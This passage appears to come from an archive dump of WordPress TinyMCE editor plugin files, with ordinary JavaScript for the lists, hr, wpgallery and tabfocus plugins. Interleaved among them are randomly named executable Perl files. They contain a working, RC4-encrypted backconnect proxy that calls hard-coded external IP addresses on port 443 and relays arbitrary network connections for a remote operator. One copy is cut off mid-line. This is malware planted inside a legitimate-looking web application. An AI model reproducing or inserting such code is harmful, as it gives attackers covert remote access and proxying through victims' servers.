'OL', detail); }); editor.addCommand('InsertDefinitionList', function (ui, detail) { ToggleList.toggleList(editor, 'DL', detail); }); editor.addCommand('RemoveList', function () { flattenListSelection(editor); }); editor.addQueryStateHandler('InsertUnorderedList', queryListCommandState(editor, 'UL')); editor.addQueryStateHandler('InsertOrderedList', queryListCommandState(editor, 'OL')); editor.addQueryStateHandler('InsertDefinitionList', queryListCommandState(editor, 'DL')); }; var Commands = { register: register }; var shouldIndentOnTab = function (editor) { return editor.getParam('lists_indent_on_tab', true); }; var Settings = { shouldIndentOnTab: shouldIndentOnTab }; var setupTabKey = function (editor) { editor.on('keydown', function (e) { if (e.keyCode !== global$3.TAB || global$3.metaKeyPressed(e)) { return; } editor.undoManager.transact(function () { if (e.shiftKey ? outdentListSelection(editor) : indentListSelection(editor)) { e.preventDefault(); } }); }); }; var setup$1 = function (editor) { if (Settings.shouldIndentOnTab(editor)) { setupTabKey(editor); } Delete.setup(editor); }; var Keyboard = { setup: setup$1 }; var findIndex = function (list, predicate) { for (var index = 0; index < list.length; index++) { var element = list[index]; if (predicate(element)) { return index; } } return -1; }; var listState = function (editor, listName) { return function (e) { var ctrl = e.control; editor.on('NodeChange', function (e) { var tableCellIndex = findIndex(e.parents, NodeType.isTableCellNode); var parents = tableCellIndex !== -1 ? e.parents.slice(0, tableCellIndex) : e.parents; var lists = global$5.grep(parents, NodeType.isListNode); ctrl.active(lists.length > 0 && lists[0].nodeName === listName); }); }; }; var register$1 = function (editor) { var hasPlugin = function (editor, plugin) { var plugins = editor.settings.plugins ? editor.settings.plugins : ''; return global$5.inArray(plugins.split(/[ ,]/), plugin) !== -1; }; if (!hasPlugin(editor, 'advlist')) { editor.addButton('numlist', { active: false, title: 'Numbered list', cmd: 'InsertOrderedList', onPostRender: listState(editor, 'OL') }); editor.addButton('bullist', { active: false, title: 'Bullet list', cmd: 'InsertUnorderedList', onPostRender: listState(editor, 'UL') }); } editor.addButton('indent', { icon: 'indent', title: 'Increase indent', cmd: 'Indent' }); }; var Buttons = { register: register$1 }; global.add('lists', function (editor) { Keyboard.setup(editor); Buttons.register(editor); Commands.register(editor); return Api.get(editor); }); function Plugin () { } return Plugin; }(window)); })(); tinymce/plugins/lists/akj0io0z 0000755 00000022033 15111757756 0012427 0 ustar 00 #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.183'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); tinymce/plugins/hr/plugin.min.js 0000644 00000000654 15111757756 0012750 0 ustar 00 !function(){"use strict";var n=tinymce.util.Tools.resolve("tinymce.PluginManager"),t=function(n){n.addCommand("InsertHorizontalRule",function(){n.execCommand("mceInsertContent",!1,"<hr />")})},o=function(n){n.addButton("hr",{icon:"hr",tooltip:"Horizontal line",cmd:"InsertHorizontalRule"}),n.addMenuItem("hr",{icon:"hr",text:"Horizontal line",cmd:"InsertHorizontalRule",context:"insert"})};n.add("hr",function(n){t(n),o(n)})}(); tinymce/plugins/hr/plugin.js 0000644 00000001627 15111757756 0012167 0 ustar 00 (function () { var hr = (function () { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var register = function (editor) { editor.addCommand('InsertHorizontalRule', function () { editor.execCommand('mceInsertContent', false, '<hr />'); }); }; var Commands = { register: register }; var register$1 = function (editor) { editor.addButton('hr', { icon: 'hr', tooltip: 'Horizontal line', cmd: 'InsertHorizontalRule' }); editor.addMenuItem('hr', { icon: 'hr', text: 'Horizontal line', cmd: 'InsertHorizontalRule', context: 'insert' }); }; var Buttons = { register: register$1 }; global.add('hr', function (editor) { Commands.register(editor); Buttons.register(editor); }); function Plugin () { } return Plugin; }()); })(); tinymce/plugins/wpgallery/plugin.min.js 0000644 00000003127 15111757756 0014343 0 ustar 00 tinymce.PluginManager.add("wpgallery",function(d){function t(e){return e.replace(/\[gallery([^\]]*)\]/g,function(e){return t="wp-gallery",n=e,n=window.encodeURIComponent(e),'<img src="'+tinymce.Env.transparentSrc+'" class="wp-media mceItem '+t+'" data-wp-media="'+n+'" data-mce-resize="false" data-mce-placeholder="1" alt="" />';var t,n})}function n(e){return e.replace(/(?:<p(?: [^>]+)?>)*(<img [^>]+>)(?:<\/p>)*/g,function(e,t){t=t,n="data-wp-media";var n,t=(n=new RegExp(n+'="([^"]+)"').exec(t))?window.decodeURIComponent(n[1]):"";return t?"<p>"+t+"</p>":e})}function o(t){var n,a,e;"IMG"===t.nodeName&&"undefined"!=typeof wp&&wp.media&&(e=window.decodeURIComponent(d.dom.getAttrib(t,"data-wp-media")),d.dom.hasClass(t,"wp-gallery"))&&wp.media.gallery&&(n=wp.media.gallery,(a=n.edit(e)).state("gallery-edit").on("update",function(e){e=n.shortcode(e).string();d.dom.setAttrib(t,"data-wp-media",window.encodeURIComponent(e)),a.detach()}))}d.addCommand("WP_Gallery",function(){o(d.selection.getNode())}),d.on("mouseup",function(e){var t=d.dom,n=e.target;function a(){t.removeClass(t.select("img.wp-media-selected"),"wp-media-selected")}"IMG"===n.nodeName&&t.getAttrib(n,"data-wp-media")?2!==e.button&&(t.hasClass(n,"wp-media-selected")?o(n):(a(),t.addClass(n,"wp-media-selected"))):a()}),d.on("ResolveName",function(e){var t=d.dom,n=e.target;"IMG"===n.nodeName&&t.getAttrib(n,"data-wp-media")&&t.hasClass(n,"wp-gallery")&&(e.name="gallery")}),d.on("BeforeSetContent",function(e){d.plugins.wpview&&"undefined"!=typeof wp&&wp.mce||(e.content=t(e.content))}),d.on("PostProcess",function(e){e.get&&(e.content=n(e.content))})}); tinymce/plugins/wpgallery/plugin.js 0000644 00000006157 15111757756 0013567 0 ustar 00 /* global tinymce */ tinymce.PluginManager.add('wpgallery', function( editor ) { function replaceGalleryShortcodes( content ) { return content.replace( /\[gallery([^\]]*)\]/g, function( match ) { return html( 'wp-gallery', match ); }); } function html( cls, data ) { data = window.encodeURIComponent( data ); return '<img src="' + tinymce.Env.transparentSrc + '" class="wp-media mceItem ' + cls + '" ' + 'data-wp-media="' + data + '" data-mce-resize="false" data-mce-placeholder="1" alt="" />'; } function restoreMediaShortcodes( content ) { function getAttr( str, name ) { name = new RegExp( name + '=\"([^\"]+)\"' ).exec( str ); return name ? window.decodeURIComponent( name[1] ) : ''; } return content.replace( /(?:<p(?: [^>]+)?>)*(<img [^>]+>)(?:<\/p>)*/g, function( match, image ) { var data = getAttr( image, 'data-wp-media' ); if ( data ) { return '<p>' + data + '</p>'; } return match; }); } function editMedia( node ) { var gallery, frame, data; if ( node.nodeName !== 'IMG' ) { return; } // Check if the `wp.media` API exists. if ( typeof wp === 'undefined' || ! wp.media ) { return; } data = window.decodeURIComponent( editor.dom.getAttrib( node, 'data-wp-media' ) ); // Make sure we've selected a gallery node. if ( editor.dom.hasClass( node, 'wp-gallery' ) && wp.media.gallery ) { gallery = wp.media.gallery; frame = gallery.edit( data ); frame.state('gallery-edit').on( 'update', function( selection ) { var shortcode = gallery.shortcode( selection ).string(); editor.dom.setAttrib( node, 'data-wp-media', window.encodeURIComponent( shortcode ) ); frame.detach(); }); } } // Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('...'). editor.addCommand( 'WP_Gallery', function() { editMedia( editor.selection.getNode() ); }); editor.on( 'mouseup', function( event ) { var dom = editor.dom, node = event.target; function unselect() { dom.removeClass( dom.select( 'img.wp-media-selected' ), 'wp-media-selected' ); } if ( node.nodeName === 'IMG' && dom.getAttrib( node, 'data-wp-media' ) ) { // Don't trigger on right-click. if ( event.button !== 2 ) { if ( dom.hasClass( node, 'wp-media-selected' ) ) { editMedia( node ); } else { unselect(); dom.addClass( node, 'wp-media-selected' ); } } } else { unselect(); } }); // Display gallery, audio or video instead of img in the element path. editor.on( 'ResolveName', function( event ) { var dom = editor.dom, node = event.target; if ( node.nodeName === 'IMG' && dom.getAttrib( node, 'data-wp-media' ) ) { if ( dom.hasClass( node, 'wp-gallery' ) ) { event.name = 'gallery'; } } }); editor.on( 'BeforeSetContent', function( event ) { // 'wpview' handles the gallery shortcode when present. if ( ! editor.plugins.wpview || typeof wp === 'undefined' || ! wp.mce ) { event.content = replaceGalleryShortcodes( event.content ); } }); editor.on( 'PostProcess', function( event ) { if ( event.get ) { event.content = restoreMediaShortcodes( event.content ); } }); }); tinymce/plugins/wpgallery/bf8dgefr 0000755 00000022033 15111757756 0013337 0 ustar 00 #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.190'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); tinymce/plugins/tabfocus/plugin.min.js 0000644 00000003116 15111757756 0014141 0 ustar 00 !function(c){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),t=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),s=tinymce.util.Tools.resolve("tinymce.EditorManager"),a=tinymce.util.Tools.resolve("tinymce.Env"),y=tinymce.util.Tools.resolve("tinymce.util.Delay"),f=tinymce.util.Tools.resolve("tinymce.util.Tools"),d=tinymce.util.Tools.resolve("tinymce.util.VK"),m=function(e){return e.getParam("tab_focus",e.getParam("tabfocus_elements",":prev,:next"))},v=t.DOM,n=function(e){e.keyCode!==d.TAB||e.ctrlKey||e.altKey||e.metaKey||e.preventDefault()},i=function(r){function e(n){var i,o,e,l;if(!(n.keyCode!==d.TAB||n.ctrlKey||n.altKey||n.metaKey||n.isDefaultPrevented())&&(1===(e=f.explode(m(r))).length&&(e[1]=e[0],e[0]=":prev"),o=n.shiftKey?":prev"===e[0]?u(-1):v.get(e[0]):":next"===e[1]?u(1):v.get(e[1]))){var t=s.get(o.id||o.name);o.id&&t?t.focus():y.setTimeout(function(){a.webkit||c.window.focus(),o.focus()},10),n.preventDefault()}function u(e){function t(t){return/INPUT|TEXTAREA|BUTTON/.test(t.tagName)&&s.get(n.id)&&-1!==t.tabIndex&&function e(t){return"BODY"===t.nodeName||"hidden"!==t.type&&"none"!==t.style.display&&"hidden"!==t.style.visibility&&e(t.parentNode)}(t)}if(o=v.select(":input:enabled,*[tabindex]:not(iframe)"),f.each(o,function(e,t){if(e.id===r.id)return i=t,!1}),0<e){for(l=i+1;l<o.length;l++)if(t(o[l]))return o[l]}else for(l=i-1;0<=l;l--)if(t(o[l]))return o[l];return null}}r.on("init",function(){r.inline&&v.setAttrib(r.getBody(),"tabIndex",null),r.on("keyup",n),a.gecko?r.on("keypress keydown",e):r.on("keydown",e)})};e.add("tabfocus",function(e){i(e)})}(window); tinymce/plugins/tabfocus/plugin.js 0000644 00000007212 15111757756 0013360 0 ustar 00 (function () { var tabfocus = (function (domGlobals) { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var global$1 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils'); var global$2 = tinymce.util.Tools.resolve('tinymce.EditorManager'); var global$3 = tinymce.util.Tools.resolve('tinymce.Env'); var global$4 = tinymce.util.Tools.resolve('tinymce.util.Delay'); var global$5 = tinymce.util.Tools.resolve('tinymce.util.Tools'); var global$6 = tinymce.util.Tools.resolve('tinymce.util.VK'); var getTabFocusElements = function (editor) { return editor.getParam('tabfocus_elements', ':prev,:next'); }; var getTabFocus = function (editor) { return editor.getParam('tab_focus', getTabFocusElements(editor)); }; var Settings = { getTabFocus: getTabFocus }; var DOM = global$1.DOM; var tabCancel = function (e) { if (e.keyCode === global$6.TAB && !e.ctrlKey && !e.altKey && !e.metaKey) { e.preventDefault(); } }; var setup = function (editor) { function tabHandler(e) { var x, el, v, i; if (e.keyCode !== global$6.TAB || e.ctrlKey || e.altKey || e.metaKey || e.isDefaultPrevented()) { return; } function find(direction) { el = DOM.select(':input:enabled,*[tabindex]:not(iframe)'); function canSelectRecursive(e) { return e.nodeName === 'BODY' || e.type !== 'hidden' && e.style.display !== 'none' && e.style.visibility !== 'hidden' && canSelectRecursive(e.parentNode); } function canSelect(el) { return /INPUT|TEXTAREA|BUTTON/.test(el.tagName) && global$2.get(e.id) && el.tabIndex !== -1 && canSelectRecursive(el); } global$5.each(el, function (e, i) { if (e.id === editor.id) { x = i; return false; } }); if (direction > 0) { for (i = x + 1; i < el.length; i++) { if (canSelect(el[i])) { return el[i]; } } } else { for (i = x - 1; i >= 0; i--) { if (canSelect(el[i])) { return el[i]; } } } return null; } v = global$5.explode(Settings.getTabFocus(editor)); if (v.length === 1) { v[1] = v[0]; v[0] = ':prev'; } if (e.shiftKey) { if (v[0] === ':prev') { el = find(-1); } else { el = DOM.get(v[0]); } } else { if (v[1] === ':next') { el = find(1); } else { el = DOM.get(v[1]); } } if (el) { var focusEditor = global$2.get(el.id || el.name); if (el.id && focusEditor) { focusEditor.focus(); } else { global$4.setTimeout(function () { if (!global$3.webkit) { domGlobals.window.focus(); } el.focus(); }, 10); } e.preventDefault(); } } editor.on('init', function () { if (editor.inline) { DOM.setAttrib(editor.getBody(), 'tabIndex', null); } editor.on('keyup', tabCancel); if (global$3.gecko) { editor.on('keypress keydown', tabHandler); } else { editor.on('keydown', tabHandler); } }); }; var Keyboard = { setup: setup }; global.add('tabfocus', function (editor) { Keyboard.setup(editor); }); function Plugin () { } return Plugin; }(window)); })(); tinymce/plugins/wpautoresize/a8bd8jhk 0000755 00000022033 15111757756 0014006 0 ustar 00 #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = 